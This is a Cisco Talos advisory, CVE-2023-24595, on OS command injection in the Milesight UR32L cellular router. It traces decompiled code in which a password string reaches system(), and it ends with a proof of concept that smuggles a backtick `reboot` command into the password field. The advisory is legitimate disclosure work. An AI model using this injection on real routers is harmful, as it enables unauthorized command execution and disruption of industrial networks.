Headline
CVE-2023-24595: TALOS-2023-1713 || Cisco Talos Intelligence Group
An OS command injection vulnerability exists in the ys_thirdparty system_user_script functionality of Milesight UR32L v32.3.0.5. A specially crafted series of network requests can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.
SUMMARY
An OS command injection vulnerability exists in the ys_thirdparty system_user_script functionality of Milesight UR32L v32.3.0.5. A specially crafted series of network requests can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Milesight UR32L v32.3.0.5
PRODUCT URLS
UR32L - https://www.milesight-iot.com/cellular/router/ur32l/
CVSSv3 SCORE
7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
DETAILS
The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.
The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console. This is an interactive shell to modify the router setting.
Here is the prompt after the login:
*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
-------------------------------------------------------------------------
Product Model : UR32L
Firmware Version : 32.3.0.5
-------------------------------------------------------------------------
ROUTER>
The service has several functionalities. The number of functionalities depends also on the user privileges. Indeed, the admin user can access the enable command, which will allow access to a highly privileged command menu:
ROUTER> enable
ROUTER#
cellular-gps-dev
clear Reset functions
configure Configuration from vty interface
copy Copy from one file to another
core Set debug level
debug Debugging functions (see also 'undebug')
disable Turn off privileged mode command
enable Turn on privileged mode command
end End current mode and change to enable mode
exit Exit current mode and down to previous mode
list Print command list
modbus-master
no Negate a command or set its defaults
ping Send echo messages
quit Exit current mode and down to previous mode
reload Halt and perform a cold restart
show Show running system information
ssh Open an ssh connection
telnet Open a telnet connection
terminal Set terminal line parameters
test Test
traceroute Trace route to destination
undebug Disable debugging functions (see also 'debug')
write Write running configuration to memory, network, or terminal
Issuing the configure terminal makes it possible to access the user_permission command that allows user related actions:
ROUTER(user-permission)#
end End current mode and change to enable mode
exit Exit current mode and down to previous mode
list Print command list
no remove the user
show show the user information
superuser set superuser name or password
user check the user password
The user command allows several modifications of user related data. If the command is issued as user <username> name <new_username> or user <username> password <new_password>, this will modify, respectively, the username or the password of an existing user. The command is managed by the ys_thirdparty’s rwuser_set function:
undefined4 rwuser_set(undefined4 param_1,undefined4 param_2,undefined4 param_3,char **argv)
{
[... variable declaration ...]
username = *argv;
is_equal = strcmp(username,superuser);
if (is_equal == 0) {
vty_out(param_2,"[failed]:user %s is superuser, use another command to modify\n",username);
return 0;
}
user_element = (rwuser_element *)rwuser_find_by_username(username);
if (user_element == (rwuser_element *)0x0) {
is_equal = check_system_user(username);
if (is_equal != 0) {
delete_user_real(*argv,0);
}
vty_out(param_2,"the user %s is not exist!\n",*argv);
return 1;
}
if (*argv[1] == 'n') {
[...]
}
else {
is_equal = user_input_invalid_without_check_super(0,argv[2]);
[...]
is_ok = modify_user_password(user_element,argv[2],1); [1]
[...]
}
[...]
}
After ensuring that the provided user exists, if the command provided looks like user <username> password <new_password>, eventually, the function modify_user_password, at [1], will be reached. The argv[2] value corresponds to the provided password. This function is used for modifying the user’s password:
bool modify_user_password(rwuser_element *rwuser_element,char *password,undefined *clear_pass)
{
[... variable declaration ...]
if (rwuser_element->password != (char *)0x0) {
zfree(1);
rwuser_element->password = (char *)0x0;
}
password_copy = (char *)zstrdup(1,password);
rwuser_element->clear_pass = clear_pass;
rwuser_element->password = password_copy;
iVar1 = system_user_script(setpass,rwuser_element,clear_pass);
[...]
}
After some assignment the system_user_script function will be called:
void system_user_script(user_script_action action,rwuser_element *rwuser,undefined4 clear_pass)
{
[... variable declaration ...]
[... variable initialization ...]
escaped_password_ptr = transfer_dolloar(rwuser->password); [2]
snprintf(escaped_password_buff,0x80,"%s",escaped_password_ptr);
if (action == userdel) {
[...]
}
else {
if (action == setpass) {
username = rwuser->username;
format_string = "%s setpass %d %s \"%s\"";
}
else {
[...]
}
snprintf(command_buffer,0x100,format_string,"/usr/sbin/userpermit.sh",clear_pass,username,
escaped_password_buff); [3]
}
system(command_buffer); [4]
[...]
} This function will execute, based on the argument `action`, different functionalities. In the code path we are considering, the `action` is equal to `setpass`, so it will set a new password for the specified user. This functions starts by escaping, at `[2]`, the dollar sign and the slash characters from the provided password. Then this escaped password will be used at `[3]` to compose the `/usr/sbin/userpermit.sh setpass 1 <username> "<password>"` string, which will be used as argument, at `[4]`, for the `system` function.
Because no checks about the password provided are performed from issuing the command until [3], an OS command injection exists in the modify_user_password function that allows arbitrary command execution as privileged user.
Exploit Proof of Concept
Following a POC triggering a reboot of the system through the command injection exposes above:
*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
-------------------------------------------------------------------------
Product Model : UR32L
Firmware Version : 32.3.0.5
-------------------------------------------------------------------------
ROUTER> enable
ROUTER# configure terminal
ROUTER(config)# user_permission
ROUTER(user-permission)# user POC password `reboot`
ROUTER(user-permission)# Connection closed by foreign host.
The Connection closed by foreign host. is the consequence of the device rebooting. The user POC must exists to reach the vulnerable code.
VENDOR RESPONSE
Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html
TIMELINE
2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.
Related news
Given the privileged position these devices occupy on the networks they serve, they are prime targets for attackers, so their security posture is of paramount importance.
In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs.